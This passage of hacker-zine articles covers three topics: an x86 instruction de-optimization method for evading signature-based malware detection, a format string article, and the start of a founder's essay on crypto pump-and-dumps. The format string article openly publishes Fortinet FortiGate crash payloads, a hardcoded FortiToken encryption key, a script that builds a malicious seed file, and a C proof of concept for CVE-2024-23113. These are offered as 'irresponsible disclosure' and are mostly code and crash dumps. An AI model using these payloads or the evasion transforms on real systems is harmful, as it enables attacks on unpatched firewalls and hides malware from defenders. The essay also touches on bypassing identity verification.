These transforms modify the condition flags the exact same way as the original instruction, and thus can be used safely without any additional save/restore instructions. Since the transformed code is very small, writing an effective Yara rule becomes quite hard. After testing the frequency of the generated code sequences, we see that ~%59 of the compiler‑generated sections contain such instruction sequences.

‑‑[ 5.4 ‑ Offset Mutation

This transform gadget will target all the instructions with a memory‑type operand. For a better understanding of the memory operand type, let's deconstruct the memory addressing logic of the x86 instruction set.

Any instruction with a memory operand needs to define a memory location represented inside square brackets. This form of representation may contain base registers, segment prefix registers, positive and negative offsets, and positive scale vectors. Consider the following instruction:

MOV CS:[EAX+0x100*8]

| | | |

+‑‑‑‑+‑‑‑‑+‑‑‑+‑‑‑> Segment Register

+‑‑‑‑+‑‑‑+‑‑‑> Base Register

+‑‑‑+‑‑‑> Displacement Offset

+‑‑‑> Scale Vector

A valid memory operand can contain any combination of these fields. If it only contains a large (the same size as the bitness) displacement offset, then it can be called an absolute address. Our Offset Mutation Transform gadget will specifically target memory operands with a base register. We will be using basic arithmetic partitioning tricks on the memory displacement value of the operand.

The "MOV RAX, [RAX+0x10]" instruction moves 16 bytes from the [RAX+0x10] memory location onto itself. Such move operations are very common because of operations like referencing a pointer. For mutating the memory operand values, we can simply manipulate the contents of the RAX register.

Adding a simple ADD/SUB instruction with RAX before the original instruction will enable us to mutate the displacement offset.

Here are some examples:

mov rax,[rax] ‑‑‑‑‑‑‑+‑> add rax,705EBC8Dh

+‑> mov rax,[rax‑705EBC8Dh]

mov rax,[rax+10h] ‑‑‑+‑> sub rax,20DA86AAh

+‑> mov rax,[rax+20DA86BAh]

lea rcx,[rcx] ‑‑‑‑‑‑‑+‑> add rcx,0D5F14ECh

+‑> lea rcx,[rcx‑0D5F14ECh]

In each of these example cases, the destination operand is the base register inside the memory operand (pointer referencing). For the other cases, we need additional instructions at the end for preserving the base register contents. Here are some other examples:

+‑> add rax,4F037035h

mov [rax],edi ‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑> mov [rax‑4F037035h],edi

+‑> sub rax,4F037035h

+‑> add rbx,34A92BDh

mov rcx,[rbx+28h] ‑‑‑‑‑‑‑‑‑‑+‑> mov rcx,[rbx‑34A9295h]

+‑> sub rbx,34A92BDh

+‑> sub rbp,2841821Ch

mov dword ptr [rbp+40h],1 ‑‑+‑> mov dword ptr [rbp+2841825Ch],1

+‑> add rbp,2841821Ch

The offset mutation transform can be applied to any instruction with a memory operand. Unfortunately, this transform may affect the condition flags.

In such a scenario, instead of adding extra save/restore instructions, we can check if the manipulated condition flags are actually affecting the control flow of the application by tracing the next instructions.

If the manipulated condition flags are being overwritten by another instruction, we can safely use this transform. Due to the massive scope of this transform gadget, it becomes quite hard to write an effective Yara rule. We can easily consider the instruction mutated by this transform to be common, and undetectable.

‑‑[ 5.5 ‑ Register Swapping

This transform gadget will target all the instructions with a registertype operand, which can be considered a very large scope. This may be the most basic but still effective transformation in our arsenal.

After the immediate and memory operand types, the register is the third most common operand type that is being targeted by detection rules. Our goal is to replace the register being used on an instruction with another, same‑sized register using the XCHG instruction.

Consider the "XOR RAX,0x10" instruction. We can change the RAX register with any other 64‑bit register by exchanging the value before and after the original instruction. Here are some examples:

+‑> xchg rax,rcx

xor rax,10h ‑‑‑‑‑‑‑‑+‑> xor rcx,10h

+‑> xchg rax,rcx

+‑> xchg rbx,rsi

and rbx,31h ‑‑‑‑‑‑‑‑+‑> and rsi,31h

+‑> xchg rbx,rsi

+‑> xchg rdx,rdi

mov rdx,rax ‑‑‑‑‑‑‑‑+‑> mov rdi,rax

+‑> xchg rdx,rdi

This transform does not modify any of the condition flags, and can be used safely without any additional save/restore instructions.

The generated sequence of instructions may seem uncommon, but due to the scope of this transform and the small size of the exchange instructions, the generated sequence of bytes is found to be very frequent in our sample data set. After testing the frequency of the generated code sequences, we see that ~92% of the compiler‑generated sections contain such instruction sequences.

‑‑[ 6 ‑ Address Realignments

After using any of these transform gadgets, an obvious outcome will be the increased code size due to the additional number of instructions. This will cause misalignments in the branch operations and relative memory addresses. While de‑optimizing each instruction, we need to be aware of how much the original instruction size is increased so that we can calculate a delta value for aligning each of the branch operations.

This may sound complex, simply because it is :) Handling such address calculations is easy when you have the source code of the program. But if you only have an already‑compiled binary, address alignment becomes a bit tricky. We will not dive into the line‑by‑line implementation of post‑de‑optimization address realignment; the only thing to keep in mind is double‑checking branch instructions after the alignment.

There is a case where modified branch instructions (conditional jumps) increase in size if they are modified to branch into much further addresses. This specific issue causes a recursive misalignment and requires a realignment after each fix on branch targets.

‑‑[ 7 ‑ Known Limitations

There are some known limitations while using these transform gadgets.

The first and most obvious one is the limited scope of supported instruction types. There are some instruction types that cannot be transformed with the mentioned gadgets. Instructions with no operands are one of them. Such instructions are very hard to transform since they do not have any operands to mutate. The only thing we can do is relocate them somewhere else in the code.

This is not a very big problem because the frequency of unsupported instructions is very low. In order to find out how frequently an instruction is being generated by compilers, we can calculate frequency statistics on our previously mentioned sample data set. The following list contains the frequency statistics of each x86 instruction.

1. %33.5 MOV

2. %9.2 JCC (All conditional jumps)

3. %6.4 CALL

4. %5.5 LEA

5. %4.9 CMP

6. %3.9 ADD

7. %3.7 TEST

8. %3.5 JMP

9. %3.3 PUSH

10. %3.0 POP

11. %2.7 NOP

12. %2.2 XOR

13. %1.7 SUB

14. %1.5 INT3

15. %1.1 MOVZX

16. %1.0 AND

17. %1.O RET

18. %0.6 SHL

19. %0.5 OR

20. %0.5 SHR

‑ %11.3 <OTHER>

Similar instruction frequency studies[13] on x86 instruction set have been made on different samples, and it can be seen that the results are very much parallel with the list above. The instruction frequency list shows that only around 5% of the instructions are not supported by our transform gadgets.

As can be seen on the list, the most commonly used instructions are simple load/store, arithmetic, logic, and branch instructions. This means that, if implemented properly, previously explained transform gadgets are able to transform the ~%95 of the instructions of compilergenerated programs.

This can be considered more than enough to bypass rule‑based detection mechanisms. Another known limitation is self‑modifying code. If the code is overwriting itself, our transform gadgets will probably break the code.

Some code may also be using branch instructions with dynamically calculated branch targets, in such cases the address realignment becomes impossible without using code emulation. Lucky for us, such code is not very commonly produced by compiler toolchains. Another rare condition is overlapping instructions. Under certain circumstances, compiler toolchains generate instructions that can be executed differently when branched into the middle of the instruction. Consider the following example:

0000: B8 00 03 C1 BB mov eax, 0xBBC10300

0005: B9 00 00 00 05 mov ecx, 0x05000000

000A: 03 C1 add eax, ecx

000C: EB F4 jmp $‑10

000E: 03 C3 add eax, ebx

0010: C3 ret

The JMP instruction will land on the third byte of the five‑byte MOV instruction at address 0000. It will create a completely new instruction stream with a new alignment. This situation is very hard to detect without some code emulation.

Another thing to consider is code with data inside. This is also a very rare condition, but in certain circumstances, code can contain strings of data. The most common scenario for such a condition is string operations in shellcodes. It is very hard to differentiate between code and data when there are no structured file formats or code sections.

Under such circumstances, our de‑optimizer tool may treat data as code and corrupt it by trying to apply transforms; but this can be avoided to some extent during disassembly. Instead of using linear sweep[14] disassembly, control flow tracing with a depth‑first search[14] approach can be used to skip data bytes inside the code.

‑‑[ 8 ‑ Conclusion

In this article, we have underlined real‑life evasion challenges commonly encountered by security professionals, and introduced several alternative ways for solving these challenges via de‑optimizing individual X86 instructions. The known limitations of these methods are proven not to be a critical obstacle to the objective of this study.

These de‑optimization methods have been found to be highly effective for eliminating any pattern in machine code. A POC de‑optimizer tool[3] has been developed during this study to test the effectiveness of these de‑optimization methods. The tests are conducted by de‑optimizing all the available Metasploit[15] shellcodes and checking the detection rates via multiple memory‑based scanners and online analysis platforms.

The test results show that using these de‑optimization methods is proven to be highly effective against pattern‑based detection while avoiding the use of self‑modifying code (RWE memory use). Of course, as in every study on evasion, the real results will emerge over time after the release of this open‑source POC tool.

‑‑[ 9 ‑ References

‑ [1] https://github.com/forrest‑orr/moneta

‑ [2] https://github.com/hasherezade/pe‑sieve

‑ [3] https://github.com/EgeBalci/deoptimizer

‑ [4] https://github.com/hasherezade/pe‑sieve/blob/603ea39612d7eb81545734c63dd1b4e7a36fd729/params_info/pe_sieve_params_info.cpp#L179

‑ [5] https://www.mandiant.com/resources/blog/shikata‑ga‑nai‑encoder‑still‑going‑strong

‑ [6] https://github.com/EgeBalci/sgn

‑ [7] https://github.com/zeroSteiner/crimson‑forge

‑ [8] https://github.com/weak1337/Alcatraz

‑ [9] https://en.wikipedia.org/wiki/Optimizing_compiler

‑ [10] https://monkbai.github.io/files/sp‑22.pdf

‑ [11] https://github.com/lifting‑bits/mcsema

‑ [12] https://docs.rs/iced‑x86/latest/iced_x86/

‑ [13] https://www.strchr.com/x86_machine_code_statistics

‑ [14] http://infoscience.epfl.ch/record/167546/files/thesis.pdf

‑ [15] https://github.com/rapid7/metasploit‑framework

Long Live Format Strings

==Phrack Inc.==

Volume 0x10, Issue 0x47, Phile #0x10 of 0x11

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Long Live Format Strings ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Mark Remarkable ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

0. Introduction

1. Finding Format String Bugs

2. Beating a Dead Firewall

‑‑‑[ 0 ‑ Introduction

Format string attacks should be dead. glibc's FORTIFY_SOURCE was released nearly 20 years ago. It's enabled by default. Vulnerabilities are trivial to detect with static source code analysis. You have to be actively trying to make a vulnerable piece of software. And yet, despite the existence of foolproof protections, we still see multi‑billion dollar companies ship code with obvious format string vulnerabilities.

This article will consist of a few lines of code and a few boring 0‑day's, just to keep the reader interested.

‑‑‑[ 1 ‑ Finding Format String Bugs

Most format strings are hardcoded, or at least come from a small set of possible values. The exceptions to this pattern are what introduce format string bugs. Modern reverse engineering tools make it incredibly easy to filter format string function calls down to the 1% of exceptions. Although there are better scripts out there, this simple Binary Ninja script was good enough to find a few quick 0days

fns={

"printf":0,

"fprintf":1,

"dprintf":1,

"sprintf":1,

"snprintf":2,

"vprintf":0,

"vfprintf":1,

"vsprintf":1,

"vsnprintf":2,

}

def check(function,arg):

for caller in function.caller_sites:

try: inst=caller.mlil.ssa_form

except KeyboardInterrupt as e: return except Exception: continue

if inst is None: continue op=inst.operation

if op in (MediumLevelILOperation.MLIL_CALL_SSA, MediumLevelILOperation.MLIL_CALL_UNTYPED_SSA, MediumLevelILOperation.MLIL_TAILCALL_SSA): if len(inst.params)<arg+1: continue if inst.dest.constant!=function.lowest_address: continue else: continue

param=inst.params[arg] possible=param.possible_values

if possible.type in (RegisterValueType.StackFrameOffset, RegisterValueType.UndeterminedValue): yield inst.address

for f in functions:

print("‑‑‑‑‑"+f+"‑‑‑‑‑)

for ff in bv.get_functions_by_name(f):

for i in check(ff, fns[f]): print(hex(i))

Put simply, this script checks for every call to a printf‑family function, then checks if the format argument is a constant value, or a stack buffer. There are, of course, plenty of better tools to perform this kind of basic static analysis, but I want to make the point that you don't have to be a skilled exploit dev to find format string bugs in a poorly made piece of software.

‑‑‑[ 2 ‑ Beating a Dead Firewall

Running that script against something very secure like the Fortinet /bin/init binary, you could easily rack up enough CVEs to pad your resume. Luckily for you, and in the spirit of irresponsible disclosure, I am publishing a few crashes just for Phrack! Please enjoy two 0day unauthenticated bugs, and one unauthenticated n‑day:

‑‑‑‑ [ 2.1 ‑ Certificate Import

I heard somewhere that PKI is important. I wonder what happens if I add some %n's to the certificate name on import...

1. System ‑> Certificates ‑> Create/Import ‑> Certificate ‑> Import Certificate ‑> Certificate

2. Add a valid certificate file and key file

3. Set the certificate name to %4919$1$c%n%n%n%n%n%n%n%n%n 4. Click create

Internal server error? Let's check the crash log.

# diagnose debug crashlog read

<02946> firmware FortiGate‑VM64 v7.2.7,build1577b1577,240131 (GA.M) (Release) <02946> application httpsd

<02946> *** signal 11 (Segmentation fault) received *** <02946> Register dump:

<02946> RAX: 0000000010c9dde0 RBX: 0000000010caf09c

<02946> RCX: 00007fffd366e008 RDX: 00007f132d45bfc0

<02946> R08: 0000000010c97050 R09: 00007f132d49abe0

<02946> R10: 0000000000004000 R11: 0000000000000000

<02946> R12: 00007fffd3668570 R13: 0000000000001337

<02946> R14: 0000000000000009 R15: 00000000000006d9

<02946> RSI: 00007fffd366a288 RDI: 00007fffd366e000

<02946> RBP: 00007fffd3668dd0 RSP: 00007fffd3668480

<02946> RIP: 00007f132d346c6c EFLAGS: 0000000000010212 <02946> CS: 0033 FS: 0000 GS: 0000

<02946> Trap: 000000000000000e Error: 0000000000000004 <02946> OldMask: 0000000000000000

<02946> CR2: 00007fffd366e000

<02946> stack: 0x7fffd3668480 ‑ 0x7fffd366d490

<02946> Backtrace:

<02946> [0x7f132d346c6c] => /usr/lib/x86_64‑linux‑gnu/libc.so.6 liboffset 00064c6c

<02946> [0x7f132d34905d] => /usr/lib/x86_64‑linux‑gnu/libc.so.6 liboffset 0006705d

<02946> [0x7f132d35c826] => /usr/lib/x86_64‑linux‑gnu/libc.so.6 liboffset 0007a826

<02946> [0x7f132d335d42] => /usr/lib/x86_64‑linux‑gnu/libc.so.6 (__snprintf+0x00000092) liboffset 00053d42

<02946> [0x0222351b] => /bin/httpsd

<02946> [0x02223a65] => /bin/httpsd

<02946> [0x00ddb567] => /bin/httpsd

<02946> [0x00d08dc4] => /bin/httpsd

<02946> [0x00d09419] => /bin/httpsd

<02946> [0x00d0b547] => /bin/httpsd

<02946> [0x00d0d01d] => /bin/httpsd

<02946> [0x00caeef9] => /bin/httpsd

<02946> [0x00e9984a] => /bin/httpsd (ap_run_handler+0x0000004a) <02946> [0x00e9a0a6] => /bin/httpsd (ap_invoke_handler+0x000000c6) <02946> [0x00ee1ec9] => /bin/httpsd

<02946> [0x00ee2111] => /bin/httpsd (ap_process_request+0x00000021) <02946> [0x00eda23f] => /bin/httpsd

<02946> [0x00e9e0aa] => /bin/httpsd (ap_run_process_connection+0x0000004a) <02946> [0x00eb3cb7] => /bin/httpsd

<02946> [0x00eb3f86] => /bin/httpsd

<02946> [0x00eb4174] => /bin/httpsd

<02946> [0x00eb47ad] => /bin/httpsd

<02946> [0x00eafa51] => /bin/httpsd (ap_run_mpm+0x00000061) <02946> [0x00eaf586] => /bin/httpsd

<02946> [0x00449f6f] => /bin/httpsd

<02946> [0x0044f498] => /bin/httpsd

<02946> [0x0044fc8a] => /bin/httpsd

<02946> [0x004524af] => /bin/httpsd

<02946> [0x00452dd9] => /bin/httpsd

<02946> [0x7f132d305deb] => /usr/lib/x86_64‑linux‑gnu/libc.so.6 (__libc_start_main+0x000000eb) liboffset 00023deb

<02946> [0x004450da] => /bin/httpsd

R13 contains 0x1337, which just so happens to be the exact number of bytes we just printed with %4919$1$c. Looks like a vuln to me!

‑‑‑‑ [ 2.2 ‑ FortiToken import

MFA solves all security problems, and Fortinet makes MFA easy with FortiTokens. Let's generate some FortiToken seed files:

‑‑‑‑‑ ftk.py ‑‑‑‑‑

import base64

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.backends import default_backend

# lol hardcoded key FTK_KEY="3F2FE4F6E40B53CFF0B5948993F4D4AB369C7F0375FDC92D64CB3E8880FFAE4E" FTK_KEY=bytes.fromhex(FTK_KEY)

format_str=b'%4919$1$c%n%n%n '

iv=b'\0'*16

a=Cipher(algorithms.AES(FTK_KEY), modes.CBC(iv), backend=default_backend()) e=a.encryptor()

ct=e.update(format_str) ciphertext=base64.b64encode(ct).decode() print(f"FTK00000000000EA,{ciphertext},{iv.hex()}")

‑‑‑‑‑‑ ftk.py ‑‑‑‑‑

$ python3 ftk.py > poc.ftk

Importing a seed file is easy:

1. User & Authentication ‑> FortiTokens ‑> Create New ‑> Import ‑> Seed File 2. Upload poc.ftk

Hmm... what's this? Another error? Let's see what the crashlog has to say:

<02664> firmware FortiGate‑VM64 v7.2.7,build1577b1577,240131 (GA.M) (Release) <02664> application httpsd

<02664> *** signal 11 (Segmentation fault) received *** <02664> Register dump:

<02664> RAX: 0000000010da2830 RBX: 0000000010db020c

<02664> RCX: 00007ffd536af008 RDX: 00007fd3f60e3fc0

<02664> R08: 0000000010d981c0 R09: 00007fd3f6122be0

<02664> R10: 0000000000000010 R11: 0000000000000000

<02664> R12: 00007ffd536a7900 R13: 0000000000001337

<02664> R14: 0000000000000004 R15: 0000000000000a67

<02664> RSI: 00007ffd536a9618 RDI: 00007ffd536af000

<02664> RBP: 00007ffd536a8160 RSP: 00007ffd536a7810

<02664> RIP: 00007fd3f5fcec6c EFLAGS: 0000000000010212 <02664> CS: 0033 FS: 0000 GS: 0000

<02664> Trap: 000000000000000e Error: 0000000000000004 <02664> OldMask: 0000000000000000

<02664> CR2: 00007ffd536af000

<02664> stack: 0x7ffd536a7810 ‑ 0x7ffd536acfc0

<02664> Backtrace:

<02664> [0x7fd3f5fcec6c] => /usr/lib/x86_64‑linux‑gnu/libc.so.6 liboffset 00064c6c

<02664> [0x7fd3f5fd105d] => /usr/lib/x86_64‑linux‑gnu/libc.so.6 liboffset 0006705d

<02664> [0x7fd3f5fe4826] => /usr/lib/x86_64‑linux‑gnu/libc.so.6 liboffset 0007a826

<02664> [0x7fd3f5fbdd42] => /usr/lib/x86_64‑linux‑gnu/libc.so.6 (__snprintf+0x00000092) liboffset 00053d42

<02664> [0x0290048a] => /bin/httpsd

<02664> [0x00de6fbd] => /bin/httpsd

<02664> [0x00d08dc4] => /bin/httpsd

<02664> [0x00d09419] => /bin/httpsd

<02664> [0x00d0b547] => /bin/httpsd

<02664> [0x00d0d01d] => /bin/httpsd

<02664> [0x00caeef9] => /bin/httpsd

<02664> [0x00e9984a] => /bin/httpsd (ap_run_handler+0x0000004a) <02664> [0x00e9a0a6] => /bin/httpsd (ap_invoke_handler+0x000000c6) <02664> [0x00ee1ec9] => /bin/httpsd

<02664> [0x00ee2111] => /bin/httpsd (ap_process_request+0x00000021) <02664> [0x00eda23f] => /bin/httpsd

<02664> [0x00e9e0aa] => /bin/httpsd (ap_run_process_connection+0x0000004a) <02664> [0x00eb3cb7] => /bin/httpsd

<02664> [0x00eb3f86] => /bin/httpsd

<02664> [0x00eb3fcb] => /bin/httpsd

<02664> [0x00eb48e5] => /bin/httpsd

<02664> [0x00eafa51] => /bin/httpsd (ap_run_mpm+0x00000061) <02664> [0x00eaf586] => /bin/httpsd

<02664> [0x00449f6f] => /bin/httpsd

<02664> [0x0044f498] => /bin/httpsd

<02664> [0x0044fc8a] => /bin/httpsd

<02664> [0x004524af] => /bin/httpsd

<02664> [0x00452dd9] => /bin/httpsd

<02664> [0x7fd3f5f8ddeb] => /usr/lib/x86_64‑linux‑gnu/libc.so.6 (__libc_start_main+0x000000eb) liboffset 00023deb

<02664> [0x004450da] => /bin/httpsd

Unsurprisingly, this crash looks almost identical to the last one. The only difference is the stack trace, which shows

(__snprintf+0x00000092) liboffset 00053d42

[0x0290048a] => /bin/httpsd

[0x00de6fbd] => /bin/httpsd

[0x00d08dc4] => /bin/httpsd

rather than

(__snprintf+0x00000092) liboffset 00053d42

[0x0222351b] => /bin/httpsd

[0x02223a65] => /bin/httpsd

[0x00ddb567] => /bin/httpsd

‑‑‑‑ [ 2.3 ‑ CVE‑2024‑23113

Does CVE‑2024‑23113 sound too complicated? In reality, it's as shrimple as

#include <string.h>

#include <unistd.h>

#include <sys/socket.h>

#include <arpa/inet.h>

#include <openssl/ssl.h>

#include <openssl/err.h>

char *payload=\

"reply 200\r\n"\

"request=auth\r\n"\ "mgmtip=%270441$1$c%n%n%n%n%n%n%n%n%n%n\r\n"\

"\r\n";

#define HOST "69.69.69.69"

#define PORT 541

#define KEYFILE "key.pem"

#define CERTFILE "cert.pem"

void main(){

int sock;

struct sockaddr_in sa={0};

SSL_CTX *ctx;

SSL *ssl;

const SSL_METHOD *method;

uint32_t len_be;

char *fgfm_magic="\x36\xe0\x11\x00";

method=TLS_server_method();

ctx=SSL_CTX_new(method);

SSL_CTX_use_certificate_file(ctx, CERTFILE, SSL_FILETYPE_PEM); SSL_CTX_use_PrivateKey_file(ctx, KEYFILE, SSL_FILETYPE_PEM); sock=socket(AF_INET, SOCK_STREAM, 0); sa.sin_family=AF_INET;

sa.sin_port=htons(PORT); sa.sin_addr.s_addr=inet_addr(HOST);

connect(sock, &sa, sizeof(struct sockaddr)); ssl=SSL_new(ctx);

SSL_set_fd(ssl, sock);

if(SSL_accept(ssl)<=0)

ERR_print_errors_fp(stderr);

else{

len_be=htonl(strlen(payload)+1+8);

SSL_write(ssl, fgfm_magic, 4);

SSL_write(ssl, &len_be, 4);

SSL_write(ssl, payload, strlen(payload)+1);

}

SSL_shutdown(ssl);

SSL_free(ssl);

close(sock);

SSL_CTX_free(ctx);

}

Just change the HOST and provide a key.pem/cert.pem. The hardest part about developing a crash POC was realizing the TCP client is acting as the TLS server. The protocol itself is just a magic number, size field, and text‑based body.

<23066> firmware FortiGate‑VM64 v7.2.4,build1396b1396,230131 (GA.F) (Release)

<23066> application fgfmsd

<23066> *** signal 11 (Segmentation fault) received *** <23066> Register dump:

<23066> RAX: 00007f652c3d2040 RBX: 00007f652c8f7844

<23066> RCX: 00007ffd3fe86008 RDX: 00007f6531e7afc0

<23066> R08: 00007f652c3cf010 R09: 0000000000000000

<23066> R10: 0000000000000022 R11: 0000000000000246

<23066> R12: 00007ffd3fe83780 R13: 0000000000042069

<23066> R14: 000000000000000b R15: 0000000000000303

<23066> RSI: 00007ffd3fe84138 RDI: 00007ffd3fe86000

<23066> RBP: 00007ffd3fe83fe0 RSP: 00007ffd3fe83690

<23066> RIP: 00007f6531d65c6c EFLAGS: 0000000000010212 <23066> CS: 0033 FS: 0000 GS: 0000

<23066> Trap: 000000000000000e Error: 0000000000000004 <23066> OldMask: 0000000000000000

<23066> CR2: 00007ffd3fe86000

<23066> stack: 0x7ffd3fe83690 ‑ 0x7ffd3fe854d0

<23066> Backtrace:

<23066> [0x7f6531d65c6c] => /usr/lib/x86_64‑linux‑gnu/libc.so.6 liboffset 00064c6c

<23066> [0x7f6531d6805d] => /usr/lib/x86_64‑linux‑gnu/libc.so.6 liboffset 0006705d

<23066> [0x7f6531d7b826] => /usr/lib/x86_64‑linux‑gnu/libc.so.6 liboffset 0007a826

<23066> [0x7f6531d54d42] => /usr/lib/x86_64‑linux‑gnu/libc.so.6 (__snprintf+0x00000092) liboffset 00053d42

<23066> [0x00acc6aa] => /bin/fgfmd

<23066> [0x00acd30c] => /bin/fgfmd

<23066> [0x00acdcef] => /bin/fgfmd

<23066> [0x00aee12a] => /bin/fgfmd

<23066> [0x00ae8674] => /bin/fgfmd

<23066> [0x00ad60ba] => /bin/fgfmd

<23066> [0x00ae1d11] => /bin/fgfmd

<23066> [0x00449eaf] => /bin/fgfmd

<23066> [0x004531da] => /bin/fgfmd

<23066> [0x0044fd9c] => /bin/fgfmd

<23066> [0x00452428] => /bin/fgfmd

<23066> [0x00452d71] => /bin/fgfmd

<23066> [0x7f6531d24deb] => /usr/lib/x86_64‑linux‑gnu/libc.so.6 (__libc_start_main+0x000000eb) liboffset 00023deb

<23066> [0x00444f1a] => /bin/fgfmd

Calling All Hackers

==Phrack Inc.==

Volume 0x10, Issue 0x47, Phile #0x11 of 0x11

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Calling All Hackers ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ cts (@gf_256) ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Table of Contents

0 ‑ Preamble

1 ‑ About the Author

2 ‑ The Birth of a Shitcoin

3 ‑ How Money Works

3.1 ‑ Fixed Income

3.2 ‑ Equities

3.3 ‑ Shareholder Value

4 ‑ Startup Blues

5 ‑ Takeaways

6 ‑ Thanks

7 ‑ References

8 ‑ Appendix

‑‑[ 0 ‑ Preamble

Hi.

I'm cts, also known as gf_256, ephemeral, or a number of other handles. I am a hacker and now a small business owner and CEO. In this article, I would like to share my experience walking these two different paths.

A hacker is someone who understands how the world works. It's about knowing what happens when you type "google.com" and press Enter. It's about knowing how your computer turns on, about memory training, A20, all of that. It's about modern processors, their caches, and their side channels. It's about DSi bootloaders and how the right electromagnetic faults can be used to jailbreak them. And it's about how Spotify and Widevine and AES and SGX work so you can free your music from the shackles of DRM.

But being a hacker is so much more than these things. It's about knowing where to find things. Like libgen and Sci‑Hub and nyaa. Or where to get into the latest IDA Pro group buy. Or which trackers have what and how to get into them.

It's about knowing how to bypass email verification. How to bypass SMS verification. How to bypass that stupid fucking verification where you hold your driver's license up to a webcam (thank you, OBS virtual camera!) Having an actual threat model not just paranoia. Knowing that you're not worth burning a 0day on, but reading indictments to learn from others' mistakes.

It's about knowing where to buy estradiol valerate on the internet and how to compound injections. Or the "bodybuilder method" to order your own blood tests when your state requires a script to do so. It's about knowing which shipments give the US CBP a bad vibe and which don't.

It's about knowing what happens when you open Robinhood and giga long NVDA FDs. I mean the actual market microstructure, not "Ken Griffin PFOF bad". Then using that microstructure to find an infinite money glitch (high Sharpe!). It's about knowing how to get extra passports and reading the tax code.

It's about knowing how to negotiate your salary (or equity). It's about knowing why things at the supermarket cost what they do. Or how that awful shitcoin keeps pumping. And why that dogshit startup got assigned that insane valuation. And understanding who really pays for it in the end (hint: it's you).

My point is, it is not just about computers. It's about understanding how the world works. The world is made up of people. As much as machines keep society running, those machines are programmed by people‑‑people with managers, spouses, and children; with wants, needs, and dreams. And it is about using that knowledge to bring about the change you want to see.

That is what being a hacker is all about.

‑‑[ 1 ‑ About the Author

I have been a hacker for 13 years. Prior to founding Zellic, I helped start a CTF team called perfect blue (lately Blue Water). We later became the number one ranked CTF team in the world. We've played in DEF CON CTF. We've won GoogleCTF, PlaidCTF, and HITCON. It's like that scene from Mr. Robot but not cringe.

In 2021, we decided to take that hacker friend circle and form a security firm. It turned out that crypto paid well, so we worked with a lot of crypto clients. In the process, we encountered insane, hilarious, and depressingly sobering bullshit. In this article, I will tell some stories about what that bullshit taught me, so you can benefit from the same lessons as I have.

Markets are computers; they compute prices, valuations, and the allocation of resources in our society. Hackers are good at computers. Let's learn more about it.

‑‑[ 2 ‑ The Birth of a Shitcoin

I can't think of a better example than shitcoins. Let's look at the crypto markets in action.

First, let's talk about tokens. What is their purpose? The purpose of a token is to go up. There is no other purpose. Token go up. This is important, remember this point.

Now the question is, how do we make the token go up? In crypto, there are two main kinds of token deals. Let's call them the Asian Arrangement and the Western Way.

The Asian Arrangement is a fairly straightforward pump and dump. It's a rectangle between the VC, the Market Maker, the Crypto Exchange, and the Token Project Founder.

1. The exchange's job is to list the token, bringing in investors. They get paid in a mix of tokens and cold, hard cash. Their superpower is owning the customer relationships with the retail users, and the naming rights to sports arenas.

2. The market maker provides liquidity so the market looks really healthy and well‑traded so it is easy to buy the token. In good deals, they are paid in in‑the‑money call options on the tokens, so they are incentivized to help the token trade well. Their superpower is having a lot of liquidity to deploy, and people on PagerDuty.

3. The founder's job is to pump the token and shill it on Twitter. They are the hype man, and it's their job to drum up the narrative and pump everyone's bags. Their unique power is they can print more tokens out of thin air, and this is in large part how they get paid in this arrangement.

4. Lastly, the VC gets paid to organize the deal. They give the founders some money, who in return give a pinky promise that they will give the VC a lot of tokens once the tokens actually exist. This is known as a Simple Agreement for Future Tokens, or SAFT. Their superpower is dressing up the founders and project so it seems like the Next Big Thing instead of a Ponzi scheme.

Everyone gets paid a ton of token exposure (directly or indirectly), and when it lists, it pumps. Then the insiders dump and leave with a fat stack. Except retail, they end up with the bag.

Sometimes the listing doesn't go well for the organizers, in which case, better luck next time. But retail always loses.

wtf??? LFG!!! to the moon

,o \oXo/\o/

/v | | |

/\ / X\ / \

crypto investors

^ |

| |

| v

+‑‑‑‑‑‑‑‑‑‑+ provides liquidity +‑‑‑‑‑‑‑‑+

| Crypto | <‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑Market |

| Exchange | ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑Maker |

+‑‑‑‑‑‑‑‑‑‑+ maker fees +‑‑‑‑‑‑‑‑+

^ |

fees, | | listing options |

tokens | | fees |

| | +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| v |

+‑‑‑‑‑‑‑‑‑+ tokens / SAFT / token warrants +‑‑‑‑‑‑‑‑‑+

